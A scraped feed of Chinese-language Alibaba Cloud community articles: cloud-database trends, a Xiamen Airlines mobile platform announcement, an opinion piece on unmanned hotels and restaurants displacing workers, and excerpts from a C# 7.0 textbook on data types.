        云只是个载体,“酒瓶”质量再好,酒必须要好喝才行,无论是AWS全球首发的Aurora,还是阿里云与MongoDB合作、自研POLARDB,做出来的产品得好用,运营更便捷、部署更灵活这些优势之外,数据库在业务层面如何贴合客户的现实的需要,做出一个全方位好用的好产品,都是直接的挑战。

        2013年,淘宝核心系统的最后一台Oracle数据库下线,亚马逊公开表示到2020年将彻底抛弃Oracle数据库,但这些并不表示做了几十年的Oracle在产品层面毫无优势,阿里、亚马逊为了自己的业务发展下线Oracle,但更多企业的业务规模仍然没有够着Oracle的天花板,Oracle成熟的产品形态、完善的售后服务仍然是优势。

        Gartner预测,到2023年,全球3/4的数据库都会跑在云上,但它的实现离现在还需要4年时间,对数字化时代而言,这是一段很长的时间,这其中的竞争和上位,仍然充满着产品层面硬碰硬的挑战。

        3、数据库上云只是“组合趋势”的一员,更多数据库大趋势必须关注

        放到大环境下来看,数据库上云只是“组合趋势”的一员,数字化社会本身还有很多趋势,它们与数据库的结合是客观和内在的必然需求,例如类似与AI结。

        阿里云的POLARDB称实现了“存储计算分离”机制,这是一种数据库过于庞大后而逐渐流行的架构,简单理解就是数据库在存储阶段做的事和调用、运营阶段做的事隔离开,存只管存、用只管用,它在云计算上更有施展的可能,与数据库上云趋势结合不在意料之外。

        除此之外,其还集成了达摩院诸多智能化技术,大幅提升企业业务效率。相关研究成果被SIGMOD等国际顶级数据库会议多次收录。

        当物联网与5G到来后,数据库与边缘计算融合,在高速、低延迟技术特性下,料想还有更多升级空间。

        数据库上云在未来几年持续加码,这个过程中,必然有更多趋势将与之融合,这将是另一个更复杂的故事了,拭目以待吧。


        ]]>
        厦门航空牵手阿里云打造航空业移动研发中台,移动端研发效率提升50% Fri, 02 May 2025 09:39:04 +0800 11月4日,厦门航空与阿里云宣布合作打造航空业“移动研发中台”。该项目将基于阿里云企业级移动研发平台EMAS,结合厦门航空在航空业数字化探索实践联合研发,搭建完成后将助力厦门航空打造厦门航空超级APP。

        厦门航空“移动研发中台”将提升包括会员服务应用在内的一系列企业级应用的迭代研发效率,包括实时增加新功能、调整新架构,预计移动端研发效率至少可提升50%。此外,通过中台支持的APP、小程序、WebApp等应用,在页面效果和加载速度上都会有显著提升,在出现BUG的时候可以进行线上快速修复。

        厦门航空“移动研发中台”将首先用于厦门航空APP,为已有的一千多万的厦航白鹭会员提供数字化出行一站式服务。后续还会增加如大兴机场空铁联运、积分兑换增值服务、电子行李牌等一系列数字化创新功能。

        厦门航空和阿里云合作始于2017年,双方先后合作举办天池大赛,发现和共创独有AI解决方案;2019年厦门航空、阿里云与同济大学梁哲教授团队合作上线了“航班智能恢复系统”,打破国外技术垄断。此外,厦门航空还在国内率先上线基于NDC标准的航空业电商中台,并快速完成了飞猪、直销等全渠道对接互通。

        未来,厦航与阿里云将持续在包括移动App、大数据、人工智能等领域展开更深层次的合作。坚持创新驱动、不断深化数字技术与业务的融合,全力推进智慧厦航发展战略,共同探索新一轮航空业的创新实践,践行“帮助更多人行走天下”的新时代使命。


        ]]>
        阿里杭州无人酒店、海底捞无人餐厅开业:时代抛弃你时,从不说再见 Fri, 02 May 2025 09:39:04 +0800

        问你一个问题:

        你有想过突然有一天,在你什么都不知道,没发觉的情况下,你的老板突然就把你给炒了?告诉你,明天你不用来上班了。

        我估计绝大多数人都没想过这个问题。可是这个问题发生的可能性远远大于你的想象。

        企业如此,行业也是如此,指不定哪天突然就被灭了。你连抬手都来不及,这就是这个时代。

        1

        未来

        你可能面临无工可打

        最近马云上头条了,不是因为双11,而是阿里的无人酒店正式在杭州开业了。

        无人酒店到底有多牛逼?

        根据阿里旗下飞猪旅行近日公布,阿里无人酒店取名未来酒店,位于杭州西溪园。

        它全程没有任何人操作,没有大堂、没有经理,甚至连打扫卫生的阿姨都没有,所有事情统统交给了人工智能。

        话不多说,我们直接来看它的体验过程吧!

        入住:

        客人到达酒店后,一个1米高的机器人取代了传统的人工接待。它通过人脸识别技术,首先记住了客人的样子。

        登记入住时,客人只需在大堂自助机刷一次脸,这时后台就会对接公安系统确定住户身份信息。随后,客人的个人信息就会覆盖酒店内全场景。

        这意味着客人的脸从此成了一张通行证,无需任何服务员引导,只需刷脸就能享受酒店所有服务。

        登记完毕后,电梯会启动等候系统,这时机器人带客人去房间就不必再费时间等电梯了。

        电梯通过无感体控系统,识别客人身份,判断乘坐电梯的意图后,最后直接在入住的楼层停下来。

        到达房间门口后,摄像头识别出身份,房门自动开启,客人就能进去休息了。

        吃喝玩乐:

        传统酒店进门必须插卡才能取电,但在阿里未来酒店,一切反人类的东西统统消失了。

        进门无需插卡,灯光会自动进入欢迎模式,电视机自动开启。房间内的空调、灯光、窗帘等设备全部不用手工操作,客人只要对着天猫精灵下达指令,一切躺着进行都可以。

        我们上面说过,登记时酒店系统会记住客人身份,也就是说去餐厅、健身房、游泳池只需带着一张脸就行了。

        比如,当客人走进餐厅,人脸识别系统就会识别出他的身份和房间号,所点的餐品将自动被记录到消费清单。

        客人不需要再结账或签单,用完餐或者健完身拍拍屁股就能走。

        如果你不想出去,只需在手机上点单,机器人就能把食物和水送到你房间。

        退房:

        我们在传统酒店退房时,前台会派卫生阿姨前去查房,但在未来酒店,客人只需在手机上退房,系统就会弹出客人的所有消费金额。点击确认,随时离店。

        在离开房间的一瞬间,电梯也已经启动程序等候客人了。

        此时,房间会自动生成一张打扫订单,就像滴滴一样,附近的卫生阿姨接到订单就会前来打扫房间,酒店无需专门请清洁工。

        未来酒店凝聚了阿里豪华的阵容:达摩院负责架构、阿里云提供大数据、人工智能实验室设计机器人、智能场景事业部完成酒店数字化运营和智能服务中枢、天猫则为酒店床品提供供应链。

        我们从眼前看,服务员在未来酒店失去了用武之地,但长远看来,是不是可以理解为阿里给解放服务员提供了宝贵经验呢?

        2

        时代抛弃你

        连声招呼都不会打

        无独有偶。

        前些天,斥资1.5亿打造的海底捞全球首家智慧餐厅也在北京正式营业了。

        所谓智慧餐厅,就是从等位点餐,到厨房配菜、调制锅底和送菜,都融入了一系列“黑科技”,高度实现了“无人化”服务。

        店里没有洗菜工、没有配菜员、没有传菜员,成了一根根机械手臂。

        就连表演拉面的小哥和美甲擦鞋的服务员都不见了,取而代之的是360°全屋环绕式立体投影。

        惊讶吗?当你还沉浸在按部就班,这个时代早已发生了翻天覆地的变化。

        以前余额宝,支付宝、微信颠覆了银行,现在无人酒店、无人餐厅颠覆了传统餐饮,无人超市颠覆了商场,机器人写稿颠覆了新闻工作者......

        你会发现中国在加速进入无现金时代后,又开始进入无人就业时代。这是一个无比疯狂的时代,让所有人都将为之惊呼。

        当你还一头雾水懵懵懂懂时,这个时代已把你狠狠地甩在了后面。

        正如张泉灵老师在演讲中说得那样:

        时代抛弃你时,连一声再见都不会说。

        3

        你喜欢岁月静好

        现实却是大江奔流

        当服装店被淘宝、天猫取代,电器店被京东取代,服务员被机器人取代....

        有没有想过,没有任何技术的你将要去哪里做生意,上哪里找工作?

        还记得那个36岁失业的收费站大姐吗?

        不久前,唐山政府为老百姓做好事,撤销了周边所有路桥收费站。

        本来是一件好事,却遭到收费站工作人员的反对。这些收费人员围住了领导要一个说法。

        其中,一位大姐说:“我今年36了,我的青春都交给收费了,我现在啥也不会,也没人喜欢我们,我也学不了什么东西了。”

        可怜又可叹,我们常常沉浸于自己的岁月静好,而社会却依旧如江水般滔滔向前,待我们被一个现实的浪头拍醒,才发现已经落后了好多。

        在如今这个时代,如果你隐居三年,彻底与世隔绝,当再次回归红尘之中,你会感到恍如隔了一个世纪。

        一切都变化得太快,快到很多人的观念还停留在上一个时代,快到很多人还没来得及做出反应,就已经被打倒在地。

        4

        能力

        才是这个时代的铁饭碗

        稳定,早已不符合这个时代的主流思维。很少有工作可以一直干下去,很少有公司是永远存在的,只有一个饭碗是超级稳定的, 那就是:能力。

        有本事的人到哪都有饭吃,没本事的人只能仰仗别人生活。

        “我36岁了,什么都不会!”这是人到中年,最可怕的一句话。

        岁月很残酷,它不会对任何人手下留情。

        无论我们多强,在这个大江奔流的时代,我们谁都没法知道明天会发生什么,我们唯一能做的,就是时刻准备着。

        你可以把你的生活规划得按部就班,但一定要学会埋彩蛋。

        这些彩蛋,就是我们给未来自己的惊喜和武器,待它们发芽、结果,滋长出另一个世界。

        希望我们都能认清这个时代,拥抱这个时代,然后活好余生。

        社会越进步

        行业变革越快

        机会,永远属于有能力又能把握趋势的人


        ]]>
        带你读《C# 7.0本质论》之二:数据类型-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        数据类型

        image.png

        以第1章的HelloWorld程序为基础,你对C#语言、它的结构、基本语法以及如何编写最简单的程序有了初步理解。本章讨论基本C#类型,继续巩固C#的基础知识。
        本书到目前为止只用过少量内建数据类型,而且只是一笔带过。C#有大量类型,而且可合并类型来创建新类型。但C#有几种类型非常简单,是其他所有类型的基础,它们称为预定义类型(predefined type)或基元类型(primitive type)。C#语言的基元类型包括八种整数类型、两种用于科学计算的二进制浮点类型、一种用于金融计算的十进制浮点类型、一种布尔类型以及一种字符类型。本章将探讨这些基元数据类型,并更深入地研究string类型。

        2.1 基本数值类型

        C#基本数值类型都有关键字与之关联,包括整数类型、浮点类型以及decimal类型。decimal是特殊的浮点类型,能存储大数字而无表示错误。

        2.1.1 整数类型

        C#有八种整型,可选择最恰当的一种来存储数据以避免浪费资源。表2.1总结了每种整型。

        image.png

        表2.1(以及表2.2和表2.3)专门有一列给出了每种类型的完整名称,本章稍后会讲述后缀问题。C#所有基元类型都有短名称和完整名称。完整名称对应BCL(基类库)中的类型名称。该名称在所有语言中都相同,对程序集中的类型进行了唯一性标识。由于基元数据类型是其他类型的基础,所以C#为基元数据类型的完整名称提供了短名称(或称为缩写)。其实从编译器的角度看,两种名称完全一样,最终都生成相同的代码。事实上,检查最终生成的CIL代码,根本看不出源代码具体使用的名称。
        C#支持完整BCL名称和关键字,造成开发人员对在什么时候用什么犯难。不要时而用这个,时而用那个,最好坚持用一种。C#开发人员一般用C#关键字。例如,用int而不是System.Int32,用string而不是System.String(甚至不要用String这种简化形式)。

        image.png

        坚持一致可能和其他设计规范冲突。例如,虽然规范说要用C#关键字取代BCL名称,但有时需维护公司遗留下来的风格相反的文件(或文件库)。这时只能维持原风格,而不是强行引入新风格,造成和原来的约定不一致。但话又说回来,如原有“风格”实际是不好的编码实践,有可能造成bug,严重妨碍维护,还是应尽量全盘纠正问题。

        image.png

        2.1.2 浮点类型(float和double)

        浮点数精度可变。除非用分数表示时,分母恰好是2的整数次幂,否则用二进制浮点类型无法准确表示该数。将浮点变量设为0.1,很容易表示成0.099 999 999 999 999 999或者0.100 000 000 000 000 000 1(或者其他非常接近0.1的数)。另外,像阿伏伽德罗常数这样非常大的数字(6.02×1023),即使误差为108,结果仍然非常接近6.02×1023,因为原始数字实在是太大了。根据定义,浮点数的精度与它所代表的数字的大小成正比。准确地说,浮点数精度由有效数位的个数决定,而不是由一个固定值(比如±0.01)决定。
        C#支持表2.2所示的两个浮点数类型。

        image.png

        为了方便理解,二进制数被转换成十进制数。如表2.2所示,二进制数位被转换成15个十进制数位,余数构成第16个十进制数位。具体地说,1.7×10307~1×10308的数只有15个有效数位。但1×10308~1.7×10308的数有16个。decimal类型的有效数位范围与此相似。

        2.1.3 decimal类型

        C#还提供了128位精度的十进制浮点类型(参见表2.3)。它适合大而精确的计算,尤其是金融计算。

        image.png

        和浮点数不同,decimal类型保证范围内的所有十进制数都是精确的。所以,对于decimal类型来说,0.1就是0.1,而不是近似值。不过,虽然decimal类型具有比浮点类型更高的精度,但它的范围较小。所以,从浮点类型转换为decimal类型可能发生溢出错误。此外,decimal的计算速度稍慢(虽然差别不大以至于完全可以忽略)。

        image.png

        2.1.4 字面值

        字面值(literal value)表示源代码中的固定值。例如,假定希望用System.Console. WriteLine()输出整数值42和double值1.618 034(黄金分割比例),可以使用如代码清单2.1所示的代码。

        image.png

        输出2.1展示了代码清单2.1的结果。

        image.png

        image.png

        默认情况下,输入带小数点的字面值,编译器自动把它解释成double类型。相反,整数值(没有小数点)通常默认为int,前提是该值不是太大,以至于无法用int来存储。如果值太大,编译器会把它解释成long。此外,C#编译器允许向非int的数值类型赋值,前提是字面值对于目标数据类型来说合法。例如,short s = 42和byte b = 77都是允许的。但这一点仅对字面值成立。不使用额外的语法,b = s就是非法的,具体参见2.6节。
        前面说过C#有许多数值类型。在代码清单2.2中,一个字面值被直接放到C#代码中。由于带小数点的值默认为double类型,所以如输出2.2所示,结果是1.61803398874989(最后一个数字5丢失了),这符合我们预期的double值的精度。

        image.png

        输出2.2

        image.png

        要显示具有完整精度的数字,必须将字面值显式声明为decimal类型,这是通过追加一个M(或者m)来实现的,如代码清单2.3和输出2.3所示。

        image.png

        输出2.3

        image.png

        代码清单2.3的输出符合预期:1.618033988749895。注意d表示double,之所以用m表示decimal,是因为这种数据类型经常用于货币(monetary)计算。
        还可以使用F和D作为后缀,将字面值分别显式声明为float或者double。对于整数数据类型,相应后缀是U、L、LU和UL。整数字面值的类型是像下面这样确定的:

        • 无后缀的数值字面值按以下顺序解析成能存储该值的第一个数据类型:int,uint,long,ulong。
        • 后缀U的数值字面值按以下顺序解析成能存储该值的第一个数据类型:uint,ulong。
        • 后缀L的数值字面值按以下顺序解析成能存储该值的第一个数据类型:long,ulong。
        • 如后缀是UL或LU,就解析成ulong类型。

        注意字面值的后缀不区分大小写。但一般推荐大写,避免出现小写字母l和数字1不好区分的情况。

        image.png

        有时数字很大,很难辨认。为解决可读性问题,C# 7.0新增了对数字分隔符的支持。如代码清单2.4所示,可在书写数值字面值的时候用下划线(_)分隔。

        image.png

        本例将数字转换成千分位,但只是为了好看,C#不要求这样。可在数字第一位和最后一位之间的任何位置添加分隔符。事实上,还可以连写多个下划线。
        有时可考虑使用指数记数法,避免在小数点前后写许多个0。指数记数法要求使用e或E中缀,在中缀字母后面添加正整数或者负整数,并在字面值最后添加恰当的数据类型后缀。例如,可将阿伏伽德罗常数作为float输出,如代码清单2.5和输出2.4所示。

        image.png

        输出2.4

        image.png

        image.png

        前面讨论数值字面值的时候只使用了十进制值。C#还允许指定十六进制值。为值附加0x前缀,再添加希望使用的十六进制数字,如代码清单2.6所示。

        image.png

        输出2.5展示了结果。
        输出2.5

        image.png

        注意,代码输出的仍然是42,而不是0x002A。
        从C# 7.0起可将数字表示成二进制值,如代码清单2.7所示。

        image.png

        语法和十六进制语法相似,只是使用0b前缀(允许大写B)。参考第4章的初学者主题“位和字节”了解二进制记数法以及二进制和十进制之间的转换。注意从C# 7.2起,数字分隔符可以放到代表十六进制的x或者代表二进制的b后面(称为前导数字分隔符)。

        image.png

        image.png
        image.png

        2.2 更多基本类型

        迄今为止只讨论了基本数值类型。C#还包括其他一些类型:bool、char和string。

        2.2.1 布尔类型(bool)

        另一个C#基元类型是布尔(Boolean)或条件类型bool。它在条件语句和表达式中表示真或假。允许的值包括关键字true和false。bool的BCL名称是System.Boolean。例如,为了在不区分大小写的前提下比较两个字符串,可以调用string.Compare()方法并传递bool字面值true,如代码清单2.10所示。

        image.png

        本例在不区分大小写的前提下比较变量option的内容和字面值/Help,结果赋给comparison。
        虽然理论上一个二进制位足以容纳一个布尔类型的值,但bool实际大小是一个字节。

        2.2.2 字符类型(char)

        字符类型char表示16位字符,取值范围对应于Unicode字符集。从技术上说,char的大小和16位无符号整数(ushort)相同,后者取值范围是0~65 535。但char是C#的特有类型,在代码中要单独对待。
        char的BCL名称是System.Char。

        image.png


        image.png

        输入char字面值需要将字符放到一对单引号中,比如'A'。所有键盘字符都可这样输入,包括字母、数字以及特殊符号。
        有的字符不能直接插入源代码,需进行特殊处理。首先输入反斜杠()前缀,再跟随一个特殊字符代码。反斜杠和特殊字符代码统称为转义序列(escape sequence)。例如,n代表换行符,而t代表制表符。由于反斜杠标志转义序列开始,所以要用表示反斜杠字符。
        代码清单2.11输出用'表示的一个单引号。

        image.png

        表2.4总结了转义序列以及字符的Unicode编码。

        image.png

        可用Unicode编码表示任何字符。为此,请为Unicode值附加u前缀。可用十六进制记数法表示Unicode字符。例如,字母A的十六进制值是0x41,代码清单2.12使用Unicode字符显示笑脸符号(:)),输出2.8展示了结果。

        image.png

        输出2.8

        image.png

        2.2.3 字符串

        零或多个字符的有限序列称为字符串。C#的基本字符串类型是string,BCL名称是System.String。对于已熟悉了其他语言的开发者,string的一些特点或许会出乎预料。除了第1章讨论的字符串字面值格式,还允许使用逐字前缀@,允许用$前缀进行字符串插值。最后,string是一种“不可变”类型。

        1. 字面值

        为了将字面值字符串输入代码,要将文本放入双引号(")内,就像HelloWorld程序中那样。字符串由字符构成,所以转义序列可嵌入字符串内。
        例如,代码清单2.13显示两行文本。但这里没有使用System.Console.WriteLine(),而是使用System.Console.Write()来输出换行符n。输出2.9展示了结果。

        image.png

        输出2.9

        image.png

        双引号要用转义序列输出,否则会被用于定义字符串开始与结束。
        C#允许在字符串前使用@符号,指明转义序列不被处理。结果是一个逐字字符串字面值(verbatim string literal),它不仅将反斜杠当作普通字符,还会逐字解释所有空白字符。例如,代码清单2.14的三角形会在控制台上原样输出,其中包括反斜杠、换行符和缩进。输出2.10展示了结果。
        不使用@字符,这些代码甚至无法通过编译。事实上,即便将形状变成正方形,避免使用反斜杠,代码仍然不能通过编译,因为不能将换行符直接插入不以@符号开头的字符串中。

        image.png

        输出2.10

        image.png

        以@开头的字符串唯一支持的转义序列是"",代表一个双引号,不会终止字符串。

        image.png

        假如同一字符串字面值在程序集中多次出现,编译器在程序集中只定义字符串一次,且所有变量都指向它。这样一来,假如在代码中多处插入包含大量字符的同一个字符串字面值,最终的程序集只反映其中一个的大小。

        1. 字符串插值

        如第1章所述,从C# 6.0起,字符串可用插值技术嵌入表达式。语法是在字符串前添加$符号,并在字符串中用一对大括号嵌入表达式。例如:

        image.png

        其中,firstName和lastName是引用了变量的简单表达式。注意逐字和插值可组合使用,但要先指定$,再指定@,例如:

        image.png

        由于是逐字字符串,所以按字符串的样子分两行输出。在大括号中换行则起不到换行效果:

        image.png

        上述代码在一行中输出字符串内容。注意此时仍需@符号,否则无法编译。

        image.png

        1. 字符串方法

        和System.Console类型相似,string类型也提供了几个方法来格式化、连接和比较字符串。
        表2.5中的Format()方法具有与Console.Write()和Console.WriteLine()方法相似的行为。区别在于,string.Format()不是在控制台窗口中显示结果,而是返回结果。当然,有了字符串插值后,用到string.Format()的机会减少了很多(本地化时还是用得着)。但在幕后,字符串插值编译成CIL后都会使用string.Format()。

        image.png
        image.png

        表2.5列出的都是静态方法。这意味着为了调用方法,需在方法名(例如concate)之前附加方法所在类型的名称(例如string)。但string类还有一些实例方法。实例方法不以类型名作为前缀,而是以变量名(或者对实例的其他引用)作为前缀。表2.6列出了部分实例方法和例子。

        image.png
        image.png

        image.png
        image.png

        1. 字符串格式化

        无论使用string.Format()还是C# 6.0字符串插值来构造复杂格式的字符串,都可通过一组覆盖面广和复杂的格式化模式来显示数字、日期、时间、时间段等。例如,给定decimal类型的price变量,则string.Format("{0,20:C2}", price)或等价的插值字符串$"{price,20:C2}"都使用默认的货币格式化规则将decimal值转换成字符串。即添加本地货币符号,小数点后四舍五入保留两位,整个字符串在20个字符的宽度内右对齐(要左对齐就为20添加负号。另外,宽度不够只好超出)。因篇幅有限,无法详细讨论所有可能的格式字符串,请在MSDN文档中查阅string.Format()获取格式字符串的完整列表。
        要在插值或格式化的字符串中添加实际的左右大括号,可连写两个大括号来表示。例如,插值字符串$"{{ {price:C2} }}"可生成字符串"{ $1,234.56 }"。

        1. 换行符

        输出换行所需的字符由操作系统决定。Microsoft Windows的换行符是r和n这两个字符的组合,UNIX则是单个n。为消除平台之间的不一致,一个办法是使用System.Console.WriteLine()自动输出空行。为确保跨平台兼容性,可用System.Environment.NewLine代表换行符。换言之,System.Console.WriteLine("Hello World")和System.Console.Write("Hello World" + System.Environment.NewLine)等价。注意在Windows上,System.WriteLine()和System.Console.Write(System.Environment.NewLine)等价于System.Console.Write("rn")而非System.Console.Write("n")。总之,要依赖System.WriteLine()和System.Environment.NewLine而不是n来确保跨平台兼容。

        image.png

        image.png

        1. 字符串长度

        判断字符串长度可以使用string的Length成员。该成员是只读属性。不能设置,调用时也不需要任何参数。代码清单2.16演示了如何使用Length属性,输出2.11是结果。

        image.png

        输出2.11

        image.png

        字符串长度不能直接设置,它是根据字符串中的字符数计算得到的。此外,字符串长度不能更改,因为字符串不可变。

        1. 字符串不可变

        string类型的一个关键特征是它不可变(immutable)。可为string变量赋一个全新的值,但出于性能考虑,没有提供修改现有字符串内容的机制。所以,不可能在同一个内存位置将字符串中的字母全部转换为大写。只能在其他内存位置新建字符串,让它成为旧字符串大写字母版本,旧字符串在这个过程中不会被修改,如果没人引用它,会被垃圾回收。代码清单2.17展示了一个例子。

        image.png
        image.png

        输出2.12展示了结果。
        输出2.12

        image.png

        从表面上看,text.ToUpper()似乎应该将text中的字符转换成大写。但由于string类型不可变,所以text.ToUpper()不会进行这样的修改。相反,text.ToUpper()会返回新字符串,它需要保存到变量中,或直接传给System.Console.WriteLine()。代码清单2.18给出了纠正后的代码,输出2.13是结果。

        image.png

        输出2.13

        image.png

        如忘记字符串不可变的特点,很容易会在使用其他字符串方法时犯下和代码清单2.17相似的错误。
        要真正更改text中的值,将ToUpper()的返回值赋回给text即可。如下例所示:

        image.png

        1. System.Text.StringBuilder

        如有大量字符串需要修改,比如要经历多个步骤来构造一个长字符串,可考虑使用System.Text.StringBuilder类型而不是string。StringBuilder包含Append()、AppendFormat()、Insert()、Remove()和Replace()等方法。虽然string也提供了其中一些方法,但两者关键的区别在于,在StringBuilder上,这些方法会修改StringBuilder本身中的数据,而不是返回新字符串。

        2.3 null和void

        与类型有关的另外两个关键字是null和void。null值表明变量不引用任何有效的对象。void表示无类型,或者没有任何值。

        2.3.1 null

        null可直接赋给字符串变量,表明变量为“空”,不指向任何位置。只能将null赋给引用类型、指针类型和可空值类型。目前只讲了string这一种引用类型,第6章将详细讨论类(类是引用类型)。现在只需知道引用类型的变量包含的只是对实际数据所在位置的一个引用,而不是直接包含实际数据。将变量设为null,会显式设置引用,使其不指向任何位置(空)。事实上,甚至可以检查引用是否为空。代码清单2.19演示了如何将null赋给string变量。

        image.png

        将null赋给引用类型的变量和根本不赋值是不一样的概念。换言之,赋值了null的变量已设置,而未赋值的变量未设置。使用未赋值的变量会造成编译时错误。
        将null值赋给string变量和为变量赋值""也是不一样的概念。null意味着变量无任何值,而""意味着变量有一个称为“空白字符串”的值。这种区分相当有用。例如,编程逻辑可将为null的homePhoneNumber解释成“家庭电话未知”,将为""的homePhoneNumber解释成“无家庭电话”。

        2.3.2 void

        有时C#语法要求指定数据类型但不传递任何数据。例如,假定方法无返回值,C#就允许在数据类型的位置放一个void关键字。HelloWorld程序的Main方法声明就是一个例子。在返回类型的位置使用void意味着方法不返回任何数据,同时告诉编译器不要指望会有一个值。void本质上不是数据类型,它只是指出没有数据类型这一事实。

        image.png

        2.4 数据类型转换

        考虑到各种CLI实现预定义了大量类型,加上代码也能定义无限数量的类型,所以类型之间的相互转换至关重要。会造成转换的最常见操作就是转型或强制类型转换(casting)。
        考虑将long值转换成int的情形。long类型能容纳的最大值是9 223 372 036 854 775 808,int则是2 147 483 647。所以转换时可能丢失数据—long值可能大于int能容纳的最大值。有可能造成数据丢失或引发异常(因为转换失败)的任何转换都需要执行显式转型。相反,不会丢失数据,而且不会引发异常(无论操作数的类型是什么)的任何转换都可以进行隐式转型。

        2.4.1 显式转型

        C#允许用转型操作符执行转型。通过在圆括号中指定希望变量转换成的类型,表明你已确认在发生显式转型时可能丢失精度和数据,或者可能造成异常。代码清单2.20将一个long转换成int,而且显式告诉系统尝试这个操作。

        image.png
        image.png

        程序员使用转型操作符告诉编译器:“相信我,我知道自己正在干什么。我知道值能适应目标类型。”只有程序员像这样做出明确选择,编译器才允许转换。但这也可能只是程序员“一厢情愿”。执行显式转换时,如数据未能成功转换,“运行时”还是会引发异常。所以,要由程序员负责确保数据成功转换,或提供错误处理代码来处理转换不成功的情况。

        image.png

        转型操作符不是万能药,它不能将一种类型任意转换为其他类型。编译器仍会检查转型操作的有效性。例如,long不能转换成bool。因为没有定义这种转换,所以编译器不允许。

        image.png

        2.4.2 隐式转型

        有些情况下,比如从int类型转换成long类型时,不会发生精度的丢失,而且值不会发生根本性的改变,所以代码只需指定赋值操作符,转换将隐式地发生。换言之,编译器判断这样的转换能正常完成。代码清单2.24直接使用赋值操作符实现从int到long的转换。

        image.png

        如果愿意,在允许隐式转型的时候也可强制添加转型操作符,如代码清单2.25所示。

        image.png

        2.4.3 不使用转型操作符的类型转换

        由于未定义从字符串到数值类型的转换,因此需要使用像Parse()这样的方法。每个数值数据类型都包含一个Parse()方法,允许将字符串转换成对应的数值类型。如代码清单2.26所示。

        image.png

        还可利用特殊类型System.Convert将一种类型转换成另一种。如代码清单2.27所示。

        image.png

        但System.Convert只支持少量类型,且不可扩展,允许从bool、char、sbyte、short、int、long、ushort、uint、ulong、float、double、decimal、DateTime和string转换到这些类型中的任何一种。
        此外,所有类型都支持ToString()方法,可用它提供类型的字符串表示。代码清单2.28演示了如何使用该方法,输出2.17展示了结果。

        image.png

        输出2.17

        image.png

        大多数类型的ToString()方法只是返回数据类型的名称,而不是数据的字符串表示。只有在类型显式实现了ToString()的前提下才会返回字符串表示。最后要注意,完全可以编写自定义的转换方法,“运行时”的许多类都存在这样的方法。
        高级主题:TryParse()
        从C# 2.0(.NET 2.0)起,所有基元数值类型都包含静态TryParse()方法。该方法与Parse()非常相似,只是转换失败不是引发异常,而是返回false,如代码清单2.29所示。

        image.png

        输出2.18展示了结果。
        输出2.18

        image.png

        上述代码从输入字符串解析到的值通过out参数(本例是number)返回。
        注意从C# 7.0起不用先声明只准备作为out参数使用的变量。代码清单2.30展示了修改后的代码。

        image.png
        image.png

        注意先写out再写数据类型。这样定义的number变量只有if语句内部的作用域,在外部不可用。
        Parse()和TryParse()的关键区别在于,如转换失败,TryParse()不会引发异常。string到数值类型的转换是否成功,往往要取决于输入文本的用户。用户完全可能输入无法成功解析的数据。使用TryParse()而不是Parse(),就可以避免在这种情况下引发异常(由于预见到用户会输入无效数据,所以要想办法避免引发异常)。

        2.5 小结

        即使是有经验的程序员,也要注意C#引入的几个新编程构造。例如,本章探讨了用于精确金融计算的decimal类型。此外,本章还提到布尔类型bool不会隐式转换成整数,防止在条件表达式中误用赋值操作符。C#其他与众不同的地方还包括:允许用@定义逐字字符串,强迫字符串忽略转义字符;字符串插值,可在字符串中嵌入表达式;C#的string数据类型不可变。
        下一章继续讨论数据类型。要讨论值类型和引用类型,还要讨论如何将数据元素组合成元组和数组。

        ]]>
        带你读《C# 7.0本质论》之三:更多数据类型-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        更多数据类型

        image.png

        第2章讨论了所有C#预定义类型,简单提到了引用类型和值类型的区别。本章继续讨论数据类型,深入解释类型划分。
        此外,本章还要讨论将数据元素合并成元组的细节,这是C# 7.0引入的一个功能。最后讨论如何将数据分组到称为数组的集合中。首先深入理解值类型和引用类型。

        3.1 类型的划分

        一个类型要么是值类型,要么是引用类型。区别在于拷贝方式:值类型的数据总是拷贝值;而引用类型的数据总是拷贝引用。

        3.1.1 值类型

        除了string,本书目前讲到的所有预定义类型都是值类型。值类型直接包含值。换言之,变量引用的位置就是内存中实际存储值的位置。因此,将一个值赋给变量1,再将变量1赋给变量2,会在变量2的位置创建值的拷贝,而不是引用变量1的位置。这进一步造成更改变量1的值不会影响变量2的值。图3.1对此进行了演示。number1引用内存中的特定位置,该位置包含值42。将number1的值赋给number2之后,两个变量都包含值42。但修改其中任何一个值都不会影响另一个值。

        image.png

        类似地,将值类型的实例传给Console.WriteLine()这样的方法也会生成内存拷贝。在方法内部对参数值进行的任何修改都不会影响调用函数中的原始值。由于值类型需要创建内存拷贝,因此定义时不要让它们占用太多内存(通常应该小于16字节)。

        3.1.2 引用类型

        相反,引用类型的变量存储对数据存储位置的引用,而不是直接存储数据。要去那个位置才能找到真正的数据。所以为了访问数据,“运行时”要先从变量中读取内存位置,再“跳转”到包含数据的内存位置。为引用类型的变量分配实际数据的内存区域称为堆(heap),如图3.2所示。
        引用类型不像值类型那样要求创建数据的内存拷贝,所以拷贝引用类型的实例比拷贝大的值类型实例更高效。将引用类型的变量赋给另一个引用类型的变量,只会拷贝引用而不需要拷贝所引用的数据。事实上,每个引用总是系统的“原生大小”:32位系统拷贝32位引用,64位系统拷贝64位引用,以此类推。显然,拷贝对一个大数据块的引用,比拷贝整个数据块快得多。
        由于引用类型只拷贝对数据的引用,所以两个不同的变量可引用相同的数据。如两个变量引用同一个对象,利用一个变量更改对象的字段,用另一个对象访问字段将看到更改结果。无论赋值还是方法调用都会如此。因此,如果在方法内部更改引用类型的数据,控制返回调用者之后,将看到更改后的结果。有鉴于此,如对象在逻辑上是固定大小、不可变的值,就考虑定义成值类型。如逻辑上是可引用、可变的东西,就考虑定义成引用类型。
        除了string和自定义类(如Program),本书目前讲到的所有类型都是值类型。但大多数类型都是引用类型。虽然偶尔需要自定义的值类型,但更多的还是自定义的引用类型。

        image.png

        3.2 可空修饰符

        一般不能将null值赋给值类型。这是因为根据定义,值类型不能包含引用,即使是对“什么都没有(nothing)”的引用。但在值本来就缺失的时候,这也会带来问题。例如在指定计数的时候,如计数未知,那么应该输入什么?一个可能的解决方案是指定特殊值,比如-1或int.MaxValue,但这些都是有效整数。我们倒希望能将null赋给该变量,因为null不是有效整数。
        为声明能存储null的变量,要使用可空修饰符?。代码清单3.1演示了自C# 2.0引入的这个功能。

        image.png
        image.png

